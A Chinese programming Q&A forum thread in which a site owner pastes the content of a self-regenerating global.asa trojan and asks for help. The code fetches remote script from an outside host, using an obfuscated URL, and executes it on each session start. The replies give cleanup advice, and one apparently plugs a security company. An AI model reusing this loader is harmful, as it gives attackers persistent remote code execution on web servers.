当前位置:编程学习 > C#/ASP.NET >>

服务器里所有站点都自动生成global.asax文件

站点目录下会自动生成global.asa文件,删除了会自动再生成!这就是一个木马文件,请求高手传授方法,帮助解决!十分感谢!

以下是那个自动生成而又删除不了的:global.asa文件内容:
<script language="vbscript" runat="server">
'by_aming
sub Application_OnStart
end sub

sub Application_OnEnd
end sub

sub Session_OnStart
url="http://g"&"l"&"o.3"&"7"&"5"&"4"&"8.c"&"o"&"m/txt/g"&"l"&"o"&"b"&"a"&"l.as"&"a"&"quan.t"&"x"&"t"
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
if instr(GetHtml,"by*aming")>0 then
execute GetHtml
end if
end sub

'sub Session_OnEnd
''end sub
</script>
--------------------编程问答-------------------- 应该不受自动生成的吧,是不是数据库被注入了呢? --------------------编程问答--------------------
引用 1 楼 y_h_t 的回复:
应该不受自动生成的吧,是不是数据库被注入了呢?


楼主都说了是木马文件   把整站下载  检测杀毒  然后再上传
检查下数据库  看看是不是有异常 --------------------编程问答-------------------- 一般都是网站程序存在漏洞或者服务器存在漏洞而被攻击了
最近很多网友反映站点根目录下多出来个global.asa从baidu搜索直接转向到其他网站而直接输入网站地址却没有此问题收录了N多不相关的网页内容,而且我也发现被挂上木马代码了 我去掉后没过多久又被挂马了!没办法天天被挂马这样站点就无法生存了!
最后通过朋友介绍找到了Sine安全,解决掉了挂马现在一直很稳定非常感谢他们!而且技术是专业做安全。  --------------------编程问答-------------------- 还有带着马甲的人来打广告啊?
补充:.NET技术 ,  ASP.NET
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,